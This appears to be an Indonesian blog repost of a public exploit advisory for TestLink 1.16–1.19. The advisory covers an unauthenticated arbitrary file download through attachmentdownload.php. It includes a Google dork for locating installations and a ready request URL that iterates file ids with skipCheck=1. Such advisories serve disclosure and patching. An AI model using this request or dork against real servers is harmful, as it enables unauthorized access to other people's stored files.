TestLink 1.19 Unduhan File Sewenang-wenang

  • Whatsapp
TestLink 1.19 Unduhan File Sewenang-wenang
TestLink Unduhan File Sewenang wenang


TestLink versi 1.16 hingga 1.19 mengalami kerentanan unduhan file yang berubah-ubah.

MD5 | 662aeacc4ee54a2b4a00f029b7ef1784

# Exploit Title: TestLink 1.19 - Arbitrary File Download (Unauthenticated)
# Google Dork: inurl:/testlink/
# Date: 07/12/2021
# Exploit Author: Gonzalo Villegas (Cl34r)
# Exploit Author Homepage: https://nch.ninja
# Vendor Homepage: https://testlink.org/
# Version:1.16 <= 1.19

You can download files from "/lib/attachments/attachmentdownload.php", passing directly in URL the id of file listed on database, otherwise you can iterate the id parameter (from 1)

Vulnerable URL: "http://HOST/lib/attachments/attachmentdownload.php?id=ITERATE_THIS_ID&skipCheck=1"

for research notes:

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan.